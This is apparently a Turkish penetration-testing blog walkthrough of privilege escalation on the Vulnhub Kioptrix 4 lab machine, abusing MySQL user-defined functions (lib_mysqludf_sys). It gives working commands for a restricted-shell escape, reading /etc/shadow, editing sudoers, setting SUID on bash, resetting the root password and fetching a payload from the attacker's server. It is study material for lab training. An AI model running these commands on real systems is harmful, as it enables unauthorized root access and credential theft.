MySql Üzerinde Kullanıcı Tanımlı Fonksiyonlar (lib_mysqludf_sys) Kullanarak Hak Yükseltilmesi

Sızma testleri sırasında uygulamaların güvenilir bir şekilde yapılandırılmamasından dolayı hak yükseltme saldırıları gerçekleştirilebilir. Bu yazıda, standart kullanıcı yetkileri ile erişilen Kioptrix: Seviye – 1.3 (#4) sanal makinesinde, Kullanıcı Tanımlı Fonksyionlar kötüye kullanılarak Mysql servisini çalıştıran işletim sistemi kullanıcısı (“root”) yetkilerine sahip olunacaktır.

Yazıda kullanılan Kioptrix: Seviye – 1.3 (#4) sanal makinesi Vulnhub sitesinden indirilebilir.

https://www.vulnhub.com/entry/kioptrix-level-13-4,25/

 

A) MySQL Erişiminin Sağlanması

Kurban sanal makinenin komut satırına erişim için aşağıdaki kimlik bilgileri ile kullanılabilir.

Kullanıcı Adı: john
Parola: MyNameIsJohn

Kurban sanal makinesine bu kullanıcı (john) ile oturum açıldığında kısıtlı bir kabuk kullanıldığı görülmektedir. Bu sanal makinede kullanılan kısıtlı kabuk (rshell / lshell / restricted shell / limited shell) aşağıdaki gibidir.

https://github.com/ghantoos/lshell/blob/0.9.15/lshellmodule/lshell.py#L431

Kullanılan kabuğun kaynak kodu incelendiğinde öncelikle “check_secure” fonksiyonunda kullanıcının yazdığı girdilerin kontrolünün yapıldığı ve “;”, “&”, “|” gibi bazı karakterlerin mevcudiyeti araştırıldığı görülmektedir. Sonra da “check_path” fonksiyonunda da ise kullanıcı bir dosya yolu yazmışsa bu yolun erişim kontrolü yapılmaktadır. Ancak girdi içerisinde yeterli kontrolün yapılmadan işlenmesi (“item” değişkeninin “eval()” fonksiyonuna verilmesi) zafiyete sebep olmaktadır. lshell modülünün 431. satırında girdinin işlendiği görülmektedir.

 

Bu kısıtın atlatılması için izin verilen “echo” komutu ile Python betiği çalıştırılabilir.

echo __import__(‘os’).system(“id”)
echo __import__(‘os’).system(“uname\t-a”)
echo __import__(‘os’).system(“/bin/bash”)
VEYA echo os.system(‘/bin/bash’)

 

Not: Bu kısıtı atlatmanın bir diğer yolu ise vi(m) aracıdır. Bu aracın kullanımı yasak olmasa idi, aşağıdaki komutla da sonuç alınabilirdi.

:set shell=/bin/sh
:shell

 

Kısıtlı kabuk “echo” komutu ile atlatıldıktan sonra, “john” kullanıcısının standart yetkilere sahip olduğu ve kullanılan işletim sisteminin 32 bit mimarideki Ubuntu 8.04.3 LTS olduğu görülmektedir.

id
echo os.system(‘/bin/bash’)
id
uname -a
head -3 /etc/passwd
tail -4 /etc/passwd
cat /etc/shadow

 

 

 

Veritabanı yönetim sistemi olarak kullanılan Mysql servisinin “root” kullanıcı yetkileri ile çalıştığı görülmektedir.

ps aux | grep mysql | grep -v grep

 

Disk sistemi incelendiğinde Mysql oturum bilgileri “checklogin.php” dosyasında yazılı olduğu tespit edilir. Dosya içeriğinden kullanıcı adının “root” ve parolasının boş (“”) olduğu görülmektedir.

head -10 /var/www/checklogin.php

 

Not: Mysql kurulduğunda varsayılan “root” kullanıcısının parolası boş gelmektedir. Bu sebeple deneme yanılma yöntemi ile de parola tahmini gerçekleştirilebilirdi.

Böylece Mysql üzerinde oturum açılabilmiştir.

mysql -u root
show databases;
use mysql;
show tables;

 

B) Kullanıcı Tanımlı Fonksiyonların İşlevi

Veritabanı yönetim sistemlerinde otomatik olarak gelen fonksiyonlar haricinde kullanıcı tarafından yazılan ve bazı işlemleri hızlı bir şekilde gerçekleştirmeyi sağlayan fonksiyonlar da bulunmaktadır. Mysql’de de bulunan bu fonksiyonlara genel olarak User Defined Functions (UDFs) adı verilir.

Mysql veritabanlarında hak yükseltme için kullanılabilecek yöntemlerden birisi suistimal edilebilecek fonksiyonları içeren kütüphanelerin hedef sunucuya yüklenmesi ve içerisindeki bazı fonksiyonların kötüye kullanılmasıdır. Örneğin, hazırlanabilecek olan User Defined Functions (UDFs) ile Mysql üzerinden mysql servisini çalıştıran kullanıcı yetkileri (bu sanal makine örneği için “root” yetkisi) dahilinde işletim sisteminde fonksiyon (kod) çalıştırılabilir. Bu amaçla Mysql dili ile fonksiyonlar hazırlanabileceği gibi, hazır kütüphaneler de kullanılabilir. Kali üzerinde “lib_mysqludf_sys” adlı hazır kütüphaneler bulunmaktadır. “sqlmap” dizini altında (veya bu dosyaları kopyalayan projelerin dizinleri altında) Windows için DLL (Dynamic Link Libraries), Linux için SO (Shared Object) uzantılı dosyalar listelenebilir.

locate lib_mysqludf_sys
md5sum /usr/share/sqlmap/udf/mysql/linux/32/lib_mysqludf_sys.so_
md5sum /usr/share/w3af/w3af/plugins/attack/db/sqlmap/udf/mysql/linux/32/lib_mysqludf_sys.so_

 

Ayrıca internetten de bu dosyalar indirilebilir.

https://github.com/sqlmapproject/sqlmap/tree/master/udf
https://github.com/mysqludf/lib_mysqludf_sys

Bu dosyalar incelendiğinde kodlanmış olduğu için dosya tipine tam olarak anlam verilememektedir. “cloak.py” adlı betik ile bu dosya anlam kazandırılabilir. Böylece kullanılan bazı fonksiyonlar da (sys_eval, sys_exec,… gibi) görülebilir.

file /usr/share/w3af/w3af/plugins/attack/db/sqlmap/udf/mysql/linux/32/lib_mysqludf_sys.so_
/usr/share/sqlmap/extra/cloak/cloak.py -d -i /usr/share/w3af/w3af/plugins/attack/db/sqlmap/udf/mysql/linux/32/lib_mysqludf_sys.so_ -o MysqlUdf.so
file MysqlUdf.so
strings MysqlUdf.so

 

Bu kütüphanedeki 2 fonksiyon kötüye kullanılabilir.

  • sys_eval: İşletim sistemi üzerinde Mysql servisi yetkileri ile kod çalıştırılır ve sonucu çıktı olarak verilir.
  • sys_exec: İşletim sistemi üzerinde Mysql servisi yetkileri ile kod çalıştırılır ve sonucu çıktı kodu olarak verilir.

 

C) UDF ile Hak Yükseltme

Kullanıcı tanımlı fonksiyonlar kullanılarak hak yükseltmek için çeşitli yöntemler uygulanabilir.

C.1) Yöntem – 1: “sys_exec” Kullanımı

Ele geçirilen kurban sanal makinesinde kullanılabilecek fonksiyonlar incelendiğinde “sys_exec” adlı fonksiyonun “lib_mysqludf_sys.so” içerisinden çağırılabildiği görülebilir.

select * from func;
exit
locate lib_mysqludf_sys.so

 

Kurban sanal makinede “lib_mysqludf_sys.so” mevcut olduğu için Kali makinedeki dosyayı yüklemeye gerek kalmamıştır. Mevcuttaki “sys_exec” fonksiyonu ile “root” yetkisi ile işletim sistemi üzerinde komut çalıştırılabildiği ve hata alınmadığı görülmektedir.

select sys_exec(‘id > /tmp/id_ciktisi; chmod 777 /tmp/id_ciktisi’);
exit
cat /tmp/id_ciktisi

 

Bunun yanında “john” kullanıcısı “admin” grubu üyesi yapıldığında “/etc/sudoers” dosyasındaki “%admin ALL=(ALL) ALL” kayıt sayesinde “root” yetkilerine sahip olur.

select sys_exec(‘usermod -a -G admin john’);
exit
sudo su –
id

 

C.2) Yöntem – 2: “sys_eval” Kullanımı

sys_exec” fonksiyonu çıktı vermediği için “sys_eval” fonksiyonunu kullanmak daha anlaşılır olabilir. Bu amaçla öncelikle “sys_eval” fonksiyonu eklenir.

use mysql;
select * from func;
Create Function sys_eval Returns String SONAME ‘lib_mysqludf_sys.so’;
select * from func;

 

Böylece çıktı sonuçları ekranda görülecek şekilde komut çalıştırılabilir ve hak yükseltilebilir.

select sys_eval(‘id’);
select sys_eval(‘tail -5 /etc/sudoers’);
select sys_eval(‘echo “john ALL=(ALL) ALL” >> /etc/sudoers’);
exit
sudo su –
id

 

C.3) Yöntem – 3: Zararlı Bir Uygulama Çalıştırılması

Kullanılabilecek bir başka yöntem de hazırlanan bir zararlı yazılımı (MSFvenom ile Meterpreter alınacak bir uygulama da olabilir veya nc gibi bir araç olabilir) çalıştırmaktır. Bunun yanında aşağıdaki C kodunun (HakYukseltme.c) derlenmesi ve çalıştırılması ile de hak yükseltilebilirdi.

 

Sanal makinede “gcc” aracı olmadığı için Kali üzerinde hazırlanan C kodu derlenerek indirilmek için bekletilir.

cat HakYukseltme.c
gcc -o HakYukseltmeUygulamasi HakYukseltme.c -m32
python -m SimpleHTTPServer 8888

 

Sanal makine üzerine indirilen derlenmiş bu dosyanın sahipliği “sys_exec” ile “root” kullanıcısı (ve grubu) yapılır ve SUID (GUID) biti etkinleştirilip herkes tarafından çalıştırılabilir (755) hale getirilir. Böylece derlenmiş kod da “root” yetkisi ile çalışır ve “/bin/bash” kabuğuna UID ve GID 0 olacak şekilde erişilir.

wget http://10.10.2.128:8888/HakYukseltmeUygulamasi -q
ls -la HakYukseltmeUygulamasi
mysql -u root mysql
select sys_exec(‘chown root:root /home/john/HakYukseltmeUygulamasi; chmod 4755 /home/john/HakYukseltmeUygulamasi’);
exit
./HakYukseltmeUygulamasi
id

 

C.4) Yöntem – 4: Dışarıdan Kütüphanenin Yüklenmesi

Eğer sanal makinede “lib_mysqludf_sys.so” dosyası olmasaydı, Kali üzerindeki veya internetten indirilen UDF dosyası kurban sanal makinenin “/usr/lib” dizinine atılması gerekir. Bu amaçla UDF dosyası Kali makineye indirilir ve kurban sanal makineye alınır.

wget https://github.com/mysqludf/lib_mysqludf_sys/blob/master/lib_mysqludf_sys.so?raw=true -O YeniUDF.so -q
file YeniUDF.so
md5sum YeniUDF.so
python -m SimpleHTTPServer 9999

wget http://10.10.2.128:9999/YeniUDF.so

 

İlgili dizine yazma yetkisi olmaması durumunda, mevcut kullanıcı (“john” kullanıcısı) yetkileri ile UDF dosyası kopyalanamayabilir. Bu durumda, (gerekli sıkılaştırmalar yapılmadı ise) Mysql “load_file” fonksiyonu ile kopyalama işlemi gerçekleştirilebilir.

mv YeniUDF.so /usr/lib
ls -la /usr
mysql -u root mysql
select load_file(‘/home/john/YeniUDF.so’) INTO DUMPFILE ‘/usr/lib/Kali_YeniUDF.so’;
exit
ls -la /usr/lib/Kali_YeniUDF.so

 

Böylece “sys_eval” fonksiyonu indirilen Kali_YeniUDF.so kütüphanesinden çağırılabilecek hale getirilmiştir.

mysql -u root mysql
Select * from func;
Create Function sys_eval Returns String SONAME ‘Kali_YeniUDF.so’;
Select * from func;

 

Not: Benzer olarak aşağıdaki kullanım da gerçekleştirilebilirdi.

mysql -u root mysql
CREATE TABLE YeniTablo(line blob);
INSERT INTO YeniTablo values(load_file(‘/home/john/YeniUDF.so’));
SELECT * FROM YeniTablo into dumpfile ‘/usr/lib/Kali_YeniUDF2.so’;
Select * from func;
Create Function sys_eval Returns String SONAME ‘Kali_YeniUDF2.so’;
Select * from func;

 

Kütüphane içindeki “sys_eval” fonksiyonu kullanılarak hak yükseltmek için kabuk yetkilendirmesi değişikliği uygulanabilir.

select sys_eval(‘chmod u+s /bin/bash’);
VEYA: select sys_eval(‘cp /bin/bash /tmp/kabuk; chown root /tmp/kabuk; chgrp root /tmp/kabuk; chmod u+s /tmp/kabuk’);
exit
id
bash -p
id
head -3 /etc/shadow

 

Not: Aşağıdaki gibi bir komut kullanılarak da, “root” kullanıcı parolası sıfırlanabilirdi.

Select sys_eval(‘echo “root:Aa123456” | chpasswd > /tmp/deneme; chown john.john /tmp/deneme’);

 

 

Kaynak:

https://www.adampalmer.me/iodigitalsec/2013/08/13/mysql-root-to-system-root-with-udf-for-windows-and-linux/
http://bernardodamele.blogspot.com.tr/2009/01/command-execution-with-mysql-udf.html
http://blog.btrisk.com/2016/02/mysql-nasil-hacklenir.html
http://blog.btrisk.com/2017/01/mysql-udf-fonksiyonalitesi-ile-yetki-yukseltme.html
Gaining a Root shell using MySQL User Defined Functions and SETUID Binaries

Kioptrix Level 4

Vulnhub – Kioptrix: Level 1.3 (#4)


http://www.abatchy.com/2016/12/kioptrix-level-13-4-walkthrough-vulnhub.html
Lord Of The Root: 1.0.1 write-up
https://ub3rsec.github.io/pages/2016/kioptrix_level_4.html
http://forelsec.blogspot.com.tr/2012/12/solving-kioptrix-level-4.html

 

 

 

Yazarın Bilgileri

Ertuğrul BAŞARANOĞLU
Ertuğrul BAŞARANOĞLU

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir

Kullanabileceğiniz HTLM etiketleri ve özellikleri: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code class="" title="" data-url=""> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong> <pre class="" title="" data-url=""> <span class="" title="" data-url="">

Bu sayfada incelenen konulardan doğacak sorunlar kişinin kendi sorumluluğundadır.